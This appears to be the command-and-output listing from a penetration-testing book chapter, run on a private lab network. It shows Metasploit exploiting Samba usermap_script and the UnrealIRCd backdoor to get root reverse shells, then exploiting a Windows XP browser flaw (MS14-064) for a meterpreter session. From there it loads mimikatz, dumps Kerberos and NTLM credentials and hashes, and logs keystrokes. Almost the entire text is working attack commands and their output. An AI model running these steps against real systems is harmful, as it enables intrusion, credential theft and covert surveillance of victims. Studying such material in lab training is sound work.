//code and output of usermap\_script

msf > search usermap\_script

Matching Modules

================

Name Disclosure Date Rank Description

---- --------------- ---- -----------

exploit/multi/samba/usermap\_script 2007-05-14 excellent Samba "username map script" Command Execution

------------------

//code to use this exploit

msf > use exploit/multi/samba/usermap\_script

-----------------

//code to show and set targets

msf exploit(multi/samba/usermap\_script) > show targets

Exploit targets:

Id Name

-- ----

0 Automatic

msf exploit(multi/samba/usermap\_script) > set target 0

target => 0

------------------

//code and output of show payloads

msf exploit(multi/samba/usermap\_script) > show payloads

Compatible Payloads

===================

Name Disclosure Date Rank Description

---- --------------- ---- -----------

cmd/unix/bind\_awk normal Unix Command Shell, Bind TCP (via AWK)

cmd/unix/bind\_inetd normal Unix Command Shell, Bind TCP (inetd)

cmd/unix/bind\_lua normal Unix Command Shell, Bind TCP (via Lua)

cmd/unix/bind\_netcat normal Unix Command Shell, Bind TCP (via netcat)

cmd/unix/bind\_netcat\_gaping normal Unix Command Shell, Bind TCP (via netcat -e)

cmd/unix/bind\_netcat\_gaping\_ipv6 normal Unix Command Shell, Bind TCP (via netcat -e) IPv6

cmd/unix/bind\_perl normal Unix Command Shell, Bind TCP (via Perl)

cmd/unix/bind\_perl\_ipv6 normal Unix Command Shell, Bind TCP (via perl) IPv6

cmd/unix/bind\_r normal Unix Command Shell, Bind TCP (via R)

cmd/unix/bind\_ruby normal Unix Command Shell, Bind TCP (via Ruby)

cmd/unix/bind\_ruby\_ipv6 normal Unix Command Shell, Bind TCP (via Ruby) IPv6

cmd/unix/bind\_zsh normal Unix Command Shell, Bind TCP (via Zsh)

cmd/unix/generic normal Unix Command, Generic Command Execution

cmd/unix/reverse normal Unix Command Shell, Double Reverse TCP (telnet)

cmd/unix/reverse\_awk normal Unix Command Shell, Reverse TCP (via AWK)

cmd/unix/reverse\_lua normal Unix Command Shell, Reverse TCP (via Lua)

cmd/unix/reverse\_ncat\_ssl normal Unix Command Shell, Reverse TCP (via ncat)

cmd/unix/reverse\_netcat normal Unix Command Shell, Reverse TCP (via netcat)

cmd/unix/reverse\_netcat\_gaping normal Unix Command Shell, Reverse TCP (via netcat -e)

cmd/unix/reverse\_openssl normal Unix Command Shell, Double Reverse TCP SSL (openssl)

cmd/unix/reverse\_perl normal Unix Command Shell, Reverse TCP (via Perl)

cmd/unix/reverse\_perl\_ssl normal Unix Command Shell, Reverse TCP SSL (via perl)

cmd/unix/reverse\_php\_ssl normal Unix Command Shell, Reverse TCP SSL (via php)

cmd/unix/reverse\_python normal Unix Command Shell, Reverse TCP (via Python)

cmd/unix/reverse\_python\_ssl normal Unix Command Shell, Reverse TCP SSL (via python)

cmd/unix/reverse\_r normal Unix Command Shell, Reverse TCP (via R)

cmd/unix/reverse\_ruby normal Unix Command Shell, Reverse TCP (via Ruby)

cmd/unix/reverse\_ruby\_ssl normal Unix Command Shell, Reverse TCP SSL (via Ruby)

cmd/unix/reverse\_ssl\_double\_telnet normal Unix Command Shell, Double Reverse TCP SSL (telnet)

cmd/unix/reverse\_zsh normal Unix Command Shell, Reverse TCP (via Zsh)

--------------------

//code to get more information about the payload

msf exploit(multi/samba/usermap\_script) > info cmd/unix/reverse

Name: Unix Command Shell, Double Reverse TCP (telnet)

Module: payload/cmd/unix/reverse

Platform: Unix

Arch: cmd

Needs Admin: No

Total size: 100

Rank: Normal

Provided by:

hdm <x@hdm.io>

Basic options:

Name Current Setting Required Description

---- --------------- -------- -----------

LHOST yes The listen address

LPORT 4444 yes The listen port

-----------------

//code to set payload

msf exploit(multi/samba/usermap\_script) > set payload cmd/unix/reverse

payload => cmd/unix/reverse

--------------------

//code to show available options and its output

msf exploit(multi/samba/usermap\_script) > show options

Module options (exploit/multi/samba/usermap\_script):

Name Current Setting Required Description

---- --------------- -------- -----------

RHOST yes The target address

RPORT 139 yes The target port (TCP)

Payload options (cmd/unix/reverse):

Name Current Setting Required Description

---- --------------- -------- -----------

LHOST yes The listen address

LPORT 4444 yes The listen port

Exploit target:

Id Name

-- ----

0 Automatic

---------------------

// code of setting the local and remote host

msf exploit(multi/samba/usermap\_script) > set RHOST 192.168.2.2

RHOST => 192.168.2.5

msf exploit(multi/samba/usermap\_script) > set LHOST 192.168.2.3

LHOST => 192.168.2.3

------------------

//code to show options

msf exploit(multi/samba/usermap\_script) > show options

Module options (exploit/multi/samba/usermap\_script):

Name Current Setting Required Description

---- --------------- -------- -----------

RHOST 192.168.2.2 yes The target address

RPORT 139 yes The target port (TCP)

Payload options (cmd/unix/reverse):

Name Current Setting Required Description

---- --------------- -------- -----------

LHOST 192.168.2.3 yes The listen address

LPORT 4444 yes The listen port

Exploit target:

Id Name

-- ----

0 Automatic

-----------------------

//code to exploit and the output

msf exploit(multi/samba/usermap\_script) > exploit

[\*] Started reverse TCP double handler on 192.168.2.3:4444

[\*] Accepted the first client connection...

[\*] Accepted the second client connection...

[\*] Command: echo 59TIyQJSIdc7I56X;

[\*] Writing to socket A

[\*] Writing to socket B

[\*] Reading from sockets...

[\*] Reading from socket B

[\*] B: "59TIyQJSIdc7I56X\r\n"

[\*] Matching...

[\*] A is input...

[\*] Command shell session 1 opened (192.168.2.3:4444 -> 192.168.2.2:43863) at 2018-06-20 00:45:29 -0400

---------------------

//code is now running in the target machine

ifconfig eth0

eth0 Link encap:Ethernet HWaddr 08:00:27:21:34:f3

inet addr:192.168.2.2 Bcast:192.168.2.255 Mask:255.255.255.0

inet6 addr: fe80::a00:27ff:fe21:34f3/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:64 errors:0 dropped:0 overruns:0 frame:0

TX packets:83 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:8024 (7.8 KB) TX bytes:8756 (8.5 KB)

Base address:0xd010 Memory:f0000000-f0020000

--------------------

//code and output

whoami

root

ps

PID TTY TIME CMD

1 ? 00:00:01 init

2 ? 00:00:00 kthreadd

3 ? 00:00:00 migration/0

4 ? 00:00:00 ksoftirqd/0

5 ? 00:00:00 watchdog/0

6 ? 00:00:00 events/0

7 ? 00:00:00 khelper

41 ? 00:00:00 kblockd/0

48 ? 00:00:00 kseriod

98 ? 00:00:00 pdflush

99 ? 00:00:00 pdflush

100 ? 00:00:00 kswapd0

141 ? 00:00:00 aio/0

1099 ? 00:00:00 ksnapd

1253 ? 00:00:00 ata/0

1260 ? 00:00:00 ata\_aux

1267 ? 00:00:00 ksuspend\_usbd

1273 ? 00:00:00 khubd

1952 ? 00:00:00 scsi\_eh\_0

2035 ? 00:00:00 scsi\_eh\_1

2037 ? 00:00:00 scsi\_eh\_2

2116 ? 00:00:00 kjournald

2290 ? 00:00:00 udevd

2761 ? 00:00:00 kpsmoused

3365 ? 00:00:00 kjournald

3572 ? 00:00:00 rpciod/0

3587 ? 00:00:00 rpc.idmapd

3903 ? 00:00:00 dd

3954 ? 00:00:00 sshd

4035 ? 00:00:00 mysqld\_safe

4079 ? 00:00:00 logger

4241 ? 00:00:00 lockd

4242 ? 00:00:00 nfsd4

4243 ? 00:00:00 nfsd

4244 ? 00:00:00 nfsd

4245 ? 00:00:00 nfsd

4246 ? 00:00:00 nfsd

4247 ? 00:00:00 nfsd

4248 ? 00:00:00 nfsd

4249 ? 00:00:00 nfsd

4250 ? 00:00:00 nfsd

4254 ? 00:00:00 rpc.mountd

4322 ? 00:00:00 master

4330 ? 00:00:00 nmbd

4332 ? 00:00:00 smbd

4337 ? 00:00:00 smbd

4387 ? 00:00:00 xinetd

4428 ? 00:00:00 cron

4459 ? 00:00:00 jsvc

4460 ? 00:00:00 jsvc

4482 ? 00:00:00 apache2

4503 ? 00:00:00 rmiregistry

4507 ? 00:00:00 ruby

4523 ? 00:00:00 Xtightvnc

4524 ? 00:00:00 unrealircd

4532 ? 00:00:00 xstartup

4535 ? 00:00:00 xterm

4537 ? 00:00:00 fluxbox

4630 ? 00:00:00 sleep

4631 ? 00:00:00 telnet

4632 ? 00:00:00 sh

4633 ? 00:00:00 sh

4634 ? 00:00:00 telnet

4652 ? 00:00:00 ps

-------------------------------

//code and output of directories

ls

bin

boot

cdrom

dev

etc

home

initrd

initrd.img

lib

lost+found

media

mnt

nohup.out

opt

proc

root

sbin

srv

sys

tmp

usr

var

vmlinuz

-----------------------

//code and output

cd /home

ls

ftp

msfadmin

service

user

mkdir hacker

--------------

//code and output

ls

ftp

hacker

msfadmin

service

user

---------------

//code and output of ending the session

^C

Abort session 1? [y/N] y

[\*] 192.168.2.2 - Command shell session 1 closed. Reason: User exit

msf exploit(multi/samba/usermap\_script) >

-----------------

//code and output of irc backdoor hacking

msf > search irc

Matching Modules

================

Name Disclosure Date Rank Description

---- --------------- ---- -----------

auxiliary/dos/windows/llmnr/ms11\_030\_dnsapi 2011-04-12 normal Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS

exploit/linux/misc/lprng\_format\_string 2000-09-25 normal LPRng use\_syslog Remote Format String Vulnerability

exploit/multi/http/struts\_default\_action\_mapper 2013-07-02 excellent Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution

exploit/multi/http/sysaid\_auth\_file\_upload 2015-06-03 excellent SysAid Help Desk Administrator Portal Arbitrary File Upload

exploit/multi/local/allwinner\_backdoor 2016-04-30 excellent Allwinner 3.4 Legacy Kernel Local Privilege Escalation

exploit/multi/misc/legend\_bot\_exec 2015-04-27 excellent Legend Perl IRC Bot Remote Code Execution

exploit/multi/misc/pbot\_exec 2009-11-02 excellent PHP IRC Bot pbot eval() Remote Code Execution

exploit/multi/misc/ra1nx\_pubcall\_exec 2013-03-24 great Ra1NX PHP Bot PubCall Authentication Bypass Remote Code Execution

exploit/multi/misc/w3tw0rk\_exec 2015-06-04 excellent w3tw0rk / Pitbul IRC Bot Remote Code Execution

exploit/multi/misc/xdh\_x\_exec 2015-12-04 excellent Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution

exploit/osx/misc/ufo\_ai 2009-10-28 average UFO: Alien Invasion IRC Client Buffer Overflow

exploit/unix/irc/unreal\_ircd\_3281\_backdoor 2010-06-12 excellent UnrealIRCD 3.2.8.1 Backdoor Command Execution

exploit/windows/browser/mirc\_irc\_url 2003-10-13 normal mIRC IRC URL Buffer Overflow

exploit/windows/browser/ms06\_013\_createtextrange 2006-03-19 normal MS06-013 Microsoft Internet Explorer createTextRange() Code Execution

exploit/windows/emc/replication\_manager\_exec 2011-02-07 great EMC Replication Manager Command Execution

exploit/windows/misc/mirc\_privmsg\_server 2008-10-02 normal mIRC PRIVMSG Handling Stack Buffer Overflow

exploit/windows/misc/talkative\_response 2009-03-17 normal Talkative IRC v0.4.4.16 Response Buffer Overflow

exploit/windows/misc/ufo\_ai 2009-10-28 average UFO: Alien Invasion IRC Client Buffer Overflow

post/multi/gather/irssi\_creds normal Multi Gather IRSSI IRC Password(s)

I have used the "unix/irc/unreal\_ircd\_3281\_backdoor" exploit and set the payload "cmd/unix/reverse" (figure 15.5).

//image 15.5

//code and output

msf > use exploit/unix/irc/unreal\_ircd\_3281\_backdoor

msf exploit(unix/irc/unreal\_ircd\_3281\_backdoor) >

msf exploit(unix/irc/unreal\_ircd\_3281\_backdoor) > show targets

Exploit targets:

Id Name

-- ----

0 Automatic Target

msf exploit(unix/irc/unreal\_ircd\_3281\_backdoor) > set target 0

target => 0

msf exploit(unix/irc/unreal\_ircd\_3281\_backdoor) > show payloads

Compatible Payloads

===================

Name Disclosure Date Rank Description

---- --------------- ---- -----------

cmd/unix/bind\_perl normal Unix Command Shell, Bind TCP (via Perl)

cmd/unix/bind\_perl\_ipv6 normal Unix Command Shell, Bind TCP (via perl) IPv6

cmd/unix/bind\_ruby normal Unix Command Shell, Bind TCP (via Ruby)

cmd/unix/bind\_ruby\_ipv6 normal Unix Command Shell, Bind TCP (via Ruby) IPv6

cmd/unix/generic normal Unix Command, Generic Command Execution

cmd/unix/reverse normal Unix Command Shell, Double Reverse TCP (telnet)

cmd/unix/reverse\_perl normal Unix Command Shell, Reverse TCP (via Perl)

cmd/unix/reverse\_perl\_ssl normal Unix Command Shell, Reverse TCP SSL (via perl)

cmd/unix/reverse\_ruby normal Unix Command Shell, Reverse TCP (via Ruby)

cmd/unix/reverse\_ruby\_ssl normal Unix Command Shell, Reverse TCP SSL (via Ruby)

cmd/unix/reverse\_ssl\_double\_telnet normal Unix Command Shell, Double Reverse TCP SSL (telnet)

msf exploit(unix/irc/unreal\_ircd\_3281\_backdoor) >

msf exploit(unix/irc/unreal\_ircd\_3281\_backdoor) > info cmd/unix/reverse

Name: Unix Command Shell, Double Reverse TCP (telnet)

Module: payload/cmd/unix/reverse

Platform: Unix

Arch: cmd

Needs Admin: No

Total size: 100

Rank: Normal

Provided by:

hdm <x@hdm.io>

Basic options:

Name Current Setting Required Description

---- --------------- -------- -----------

LHOST yes The listen address

LPORT 4444 yes The listen port

Description:

Creates an interactive shell through two inbound connections

msf exploit(unix/irc/unreal\_ircd\_3281\_backdoor) > set payload cmd/unix/reverse

payload => cmd/unix/reverse

msf exploit(unix/irc/unreal\_ircd\_3281\_backdoor) > show options

Module options (exploit/unix/irc/unreal\_ircd\_3281\_backdoor):

Name Current Setting Required Description

---- --------------- -------- -----------

RHOST yes The target address

RPORT 6667 yes The target port (TCP)

Payload options (cmd/unix/reverse):

Name Current Setting Required Description

---- --------------- -------- -----------

LHOST yes The listen address

LPORT 4444 yes The listen port

Exploit target:

Id Name

-- ----

0 Automatic Target

msf exploit(unix/irc/unreal\_ircd\_3281\_backdoor) >

msf> use exploit/unix/irc/unreal\_ircd\_3281\_backdoor

msf exploit(unix/irc/unreal\_ircd\_3281\_backdoor) > set payload cmd/unix/reverse

payload => cmd/unix/reverse

----------------------

//code and output continues

msf exploit(unix/irc/unreal\_ircd\_3281\_backdoor) > set RHOST 192.168.2.2

RHOST => 192.168.2.2

msf exploit(unix/irc/unreal\_ircd\_3281\_backdoor) > set LHOST 192.168.2.3

LHOST => 192.168.2.3

msf exploit(unix/irc/unreal\_ircd\_3281\_backdoor) > show options

Module options (exploit/unix/irc/unreal\_ircd\_3281\_backdoor):

Name Current Setting Required Description

---- --------------- -------- -----------

RHOST 192.168.2.2 yes The target address

RPORT 6667 yes The target port (TCP)

Payload options (cmd/unix/reverse):

Name Current Setting Required Description

---- --------------- -------- -----------

LHOST 192.168.2.3 yes The listen address

LPORT 4444 yes The listen port

Exploit target:

Id Name

-- ----

0 Automatic Target

msf exploit(unix/irc/unreal\_ircd\_3281\_backdoor) > exploit

-------------------

//code and output continues

[\*] Started reverse TCP double handler on 192.168.2.3:4444

[\*] 192.168.2.2:6667 - Connected to 192.168.2.2:6667...

:irc.Metasploitable.LAN NOTICE AUTH :\*\*\* Looking up your hostname...

:irc.Metasploitable.LAN NOTICE AUTH :\*\*\* Couldn't resolve your hostname; using your IP address instead

[\*] 192.168.2.2:6667 - Sending backdoor command...

[\*] Accepted the first client connection...

[\*] Accepted the second client connection...

[\*] Command: echo EHwGctWQbOlEMH3J;

[\*] Writing to socket A

[\*] Writing to socket B

[\*] Reading from sockets...

[\*] Reading from socket B

[\*] B: "EHwGctWQbOlEMH3J\r\n"

[\*] Matching...

[\*] A is input...

[\*] Command shell session 2 opened (192.168.2.3:4444 -> 192.168.2.2:56829) at 2018-06-18 20:43:45 -0400

ls

bin

boot

cdrom

dev

etc

home

initrd

initrd.img

lib

lost+found

media

mnt

nohup.out

opt

proc

root

sbin

srv

sys

tmp

usr

var

vmlinuz

ifconfig

eth0 Link encap:Ethernet HWaddr 08:00:27:21:34:f3

inet addr:192.168.2.2 Bcast:192.168.2.255 Mask:255.255.255.0

inet6 addr: fe80::a00:27ff:fe21:34f3/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:104 errors:0 dropped:0 overruns:0 frame:0

TX packets:88 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:10660 (10.4 KB) TX bytes:9478 (9.2 KB)

Base address:0xd010 Memory:f0000000-f0020000

lo Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:116 errors:0 dropped:0 overruns:0 frame:0

TX packets:116 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:0

RX bytes:31889 (31.1 KB) TX bytes:31889 (31.1 KB)

cd /home

ls

ftp

hacker

msfadmin

service

user

^C

Abort session 1? [y/N] y

---------------------

//code and output reflected on the lower console

msf > use exploit/windows/browser/ms14\_064\_ole\_code\_execution

msf exploit(windows/browser/ms14\_064\_ole\_code\_execution) > set TARGET 0

TARGET => 0

msf exploit(windows/browser/ms14\_064\_ole\_code\_execution) > set PAYLOAD windows/meterpreter/reverse\_tcp

PAYLOAD => windows/meterpreter/reverse\_tcp

msf exploit(windows/browser/ms14\_064\_ole\_code\_execution) > set LHOST 192.168.2.3

LHOST => 192.168.2.3

msf exploit(windows/browser/ms14\_064\_ole\_code\_execution) > set LPORT 6379

LPORT => 6379

msf exploit(windows/browser/ms14\_064\_ole\_code\_execution) > set Retries true

Retries => true

msf exploit(windows/browser/ms14\_064\_ole\_code\_execution) > set TRYUAC false

TRYUAC => false

msf exploit(windows/browser/ms14\_064\_ole\_code\_execution) > set ExitOnSession false

ExitOnSession => false

msf exploit(windows/browser/ms14\_064\_ole\_code\_execution) > set AllowPowershellPrompt false

AllowPowershellPrompt => false

msf exploit(windows/browser/ms14\_064\_ole\_code\_execution) > set SRVPORT 8080

SRVPORT => 8080

msf exploit(windows/browser/ms14\_064\_ole\_code\_execution) > set SSL false

SSL => false

msf exploit(windows/browser/ms14\_064\_ole\_code\_execution) > set DisablePayloadHandler false

DisablePayloadHandler => false

msf exploit(windows/browser/ms14\_064\_ole\_code\_execution) > set SRVHOST 0.0.0.0

SRVHOST => 0.0.0.0

msf exploit(windows/browser/ms14\_064\_ole\_code\_execution) > exploit -j

[\*] Exploit running as background job 1.

[\*] Started reverse TCP handler on 192.168.2.3:6379

[\*] Using URL: http://0.0.0.0:8080/dkzeI2a2r1v3t

[\*] Local IP: http://192.168.2.3:8080/dkzeI2a2r1v3t

[\*] Server started.

[\*] 192.168.2.2 ms14\_064\_ole\_code\_execution - Gathering target information for 192.168.2.2

[\*] 192.168.2.2 ms14\_064\_ole\_code\_execution - Sending HTML response to 192.168.2.2

[\*] 192.168.2.2 ms14\_064\_ole\_code\_execution - Sending exploit...

---------------------------

//code and output of increasing session-time

meterpreter > set\_timeouts -x 3000

Session Expiry : @ 2018-06-18 22:17:06

Comm Timeout : 300 seconds

Retry Total Time: 3600 seconds

Retry Wait Time : 10 seconds

---------------------

//code and output of Window XP working directory

meterpreter > getwd

C:\Documents and Settings\ss\Desktop

meterpreter > ls

Listing: C:\Documents and Settings\ss\Desktop

=============================================

Mode Size Type Last modified Name

---- ---- ---- ------------- ----

100666/rw-rw-rw- 1555 fil 2018-06-10 22:28:57 -0400 Command Prompt.lnk

-----------------------

//code and output of directory lists

meterpreter > cd /

meterpreter > ls

Listing: C:\

============

Mode Size Type Last modified Name

---- ---- ---- ------------- ----

100777/rwxrwxrwx 0 fil 2018-06-10 12:38:02 -0400 AUTOEXEC.BAT

100666/rw-rw-rw- 0 fil 2018-06-10 12:38:02 -0400 CONFIG.SYS

40777/rwxrwxrwx 0 dir 2018-06-10 12:48:26 -0400 Documents and Settings

100444/r--r--r-- 0 fil 2018-06-10 12:38:02 -0400 IO.SYS

100444/r--r--r-- 0 fil 2018-06-10 12:38:02 -0400 MSDOS.SYS

100555/r-xr-xr-x 47564 fil 2004-08-04 01:38:34 -0400 NTDETECT.COM

40555/r-xr-xr-x 0 dir 2018-06-10 20:16:55 -0400 Program Files

40777/rwxrwxrwx 0 dir 2018-06-10 20:59:27 -0400 RECYCLER

40777/rwxrwxrwx 0 dir 2018-06-10 12:46:35 -0400 System Volume Information

40777/rwxrwxrwx 0 dir 2018-06-10 20:17:42 -0400 WINDOWS

100666/rw-rw-rw- 211 fil 2018-06-10 12:36:17 -0400 boot.ini

100444/r--r--r-- 250032 fil 2004-08-04 01:59:34 -0400 ntldr

0025/----w-r-x 11861168 fif 1969-12-31 19:00:00 -0500 pagefile.sys

-------------------------

//code and output of creating directory on the Desktop

meterpreter > cd ..

C:\Documents and Settings\ss\Desktop

meterpreter > mkdir hacker

Creating directory: hacker

----------------------

//code and output of making more directories inside the compromised system

meterpreter > cd hacker

meterpreter > mkdir morehackers

Creating directory: morehackers

---------------

//code and output of Windows XP user

meterpreter > getuid

Server username: SS-1ED5333B6381\ss

-------------------

//code and output of system information

meterpreter > sysinfo

Computer : SS-1ED5333B6381

OS : Windows XP (Build 2600, Service Pack 2).

Architecture : x86

System Language : en\_US

Domain : WORKGROUP

Logged On Users : 2

Meterpreter : x86/windows

---------------------

//code and output of loading mmicatz

meterpreter > load mimikatz

Loading extension mimikatz...Success.

------------------

//code to get more help

meterpreter > help

Core Commands

=============

Command Description

------- -----------

? Help menu

background Backgrounds the current session

bgkill Kills a background meterpreter script

bglist Lists running background scripts

bgrun Executes a meterpreter script as a background thread

channel Displays information or control active channels

close Closes a channel

disable\_unicode\_encoding Disables encoding of unicode strings

enable\_unicode\_encoding Enables encoding of unicode strings

exit Terminate the meterpreter session

get\_timeouts Get the current session timeout values

guid Get the session GUID

help Help menu

info Displays information about a Post module

irb Drop into irb scripting mode

load Load one or more meterpreter extensions

machine\_id Get the MSF ID of the machine attached to the session

migrate Migrate the server to another process

pivot Manage pivot listeners

quit Terminate the meterpreter session

read Reads data from a channel

resource Run the commands stored in a file

run Executes a meterpreter script or Post module

sessions Quickly switch to another session

set\_timeouts Set the current session timeout values

sleep Force Meterpreter to go quiet, then re-establish session.

transport Change the current transport mechanism

use Deprecated alias for "load"

uuid Get the UUID for the current session

write Writes data to a channel

Stdapi: File system Commands

============================

Command Description

------- -----------

cat Read the contents of a file to the screen

cd Change directory

checksum Retrieve the checksum of a file

cp Copy source to destination

dir List files (alias for ls)

download Download a file or directory

edit Edit a file

getlwd Print local working directory

getwd Print working directory

lcd Change local working directory

lpwd Print local working directory

ls List files

mkdir Make directory

mv Move source to destination

pwd Print working directory

rm Delete the specified file

rmdir Remove directory

search Search for files

show\_mount List all mount points/logical drives

upload Upload a file or directory

Stdapi: Networking Commands

===========================

Command Description

------- -----------

arp Display the host ARP cache

getproxy Display the current proxy configuration

ifconfig Display interfaces

ipconfig Display interfaces

netstat Display the network connections

portfwd Forward a local port to a remote service

resolve Resolve a set of host names on the target

route View and modify the routing table

Stdapi: System Commands

=======================

Command Description

------- -----------

clearev Clear the event log

drop\_token Relinquishes any active impersonation token.

execute Execute a command

getenv Get one or more environment variable values

getpid Get the current process identifier

getprivs Attempt to enable all privileges available to the current process

getsid Get the SID of the user that the server is running as

getuid Get the user that the server is running as

kill Terminate a process

localtime Displays the target system's local date and time

pgrep Filter processes by name

pkill Terminate processes by name

ps List running processes

reboot Reboots the remote computer

reg Modify and interact with the remote registry

rev2self Calls RevertToSelf() on the remote machine

shell Drop into a system command shell

shutdown Shuts down the remote computer

steal\_token Attempts to steal an impersonation token from the target process

suspend Suspends or resumes a list of processes

sysinfo Gets information about the remote system, such as OS

Stdapi: User interface Commands

===============================

Command Description

------- -----------

enumdesktops List all accessible desktops and window stations

getdesktop Get the current meterpreter desktop

idletime Returns the number of seconds the remote user has been idle

keyscan\_dump Dump the keystroke buffer

keyscan\_start Start capturing keystrokes

keyscan\_stop Stop capturing keystrokes

screenshot Grab a screenshot of the interactive desktop

setdesktop Change the meterpreters current desktop

uictl Control some of the user interface components

Stdapi: Webcam Commands

=======================

Command Description

------- -----------

record\_mic Record audio from the default microphone for X seconds

webcam\_chat Start a video chat

webcam\_list List webcams

webcam\_snap Take a snapshot from the specified webcam

webcam\_stream Play a video stream from the specified webcam

Priv: Elevate Commands

======================

Command Description

------- -----------

getsystem Attempt to elevate your privilege to that of local system.

Priv: Password database Commands

================================

Command Description

------- -----------

hashdump Dumps the contents of the SAM database

Priv: Timestomp Commands

========================

Command Description

------- -----------

timestomp Manipulate file MACE attributes

Mimikatz Commands

=================

Command Description

------- -----------

kerberos Attempt to retrieve kerberos creds

livessp Attempt to retrieve livessp creds

mimikatz\_command Run a custom command

msv Attempt to retrieve msv creds (hashes)

ssp Attempt to retrieve ssp creds

tspkg Attempt to retrieve tspkg creds

wdigest Attempt to retrieve wdigest creds

--------------------

//code and output of kerberos credentials

meterpreter > kerberos

[!] Not currently running as SYSTEM

[\*] Attempting to getprivs

[+] Got SeDebugPrivilege

[\*] Retrieving kerberos credentials

kerberos credentials

====================

AuthID Package Domain User Password

------ ------- ------ ---- --------

0;46194 NTLM SS-1ED5333B6381 ss

0;997 Negotiate NT AUTHORITY LOCAL SERVICE

0;996 Negotiate NT AUTHORITY NETWORK SERVICE

0;29971 NTLM

0;999 NTLM WORKGROUP SS-1ED5333B6381$

--------------------

// code and output of meterpreter shell where everything is being recorded

meterpreter > keyscan\_start

Starting the keystroke sniffer ...

meterpreter > keyscan\_dump

Dumping captured keystrokes...

<Shift>Hi <Shift>I am writing something secret ....

-------------------

//code and output of msv credentials

meterpreter > msv

[!] Not currently running as SYSTEM

[\*] Attempting to getprivs

[+] Got SeDebugPrivilege

[\*] Retrieving msv credentials

msv credentials

===============

AuthID Package Domain User Password

------ ------- ------ ---- --------

0;46194 NTLM SS-1ED5333B6381 ss lm{ aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 }

0;996 Negotiate NT AUTHORITY NETWORK SERVICE lm{ aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 }

0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO)

0;29971 NTLM n.s. (Credentials KO)

0;999 NTLM WORKGROUP SS-1ED5333B6381$ n.s. (Credentials KO)

---------------------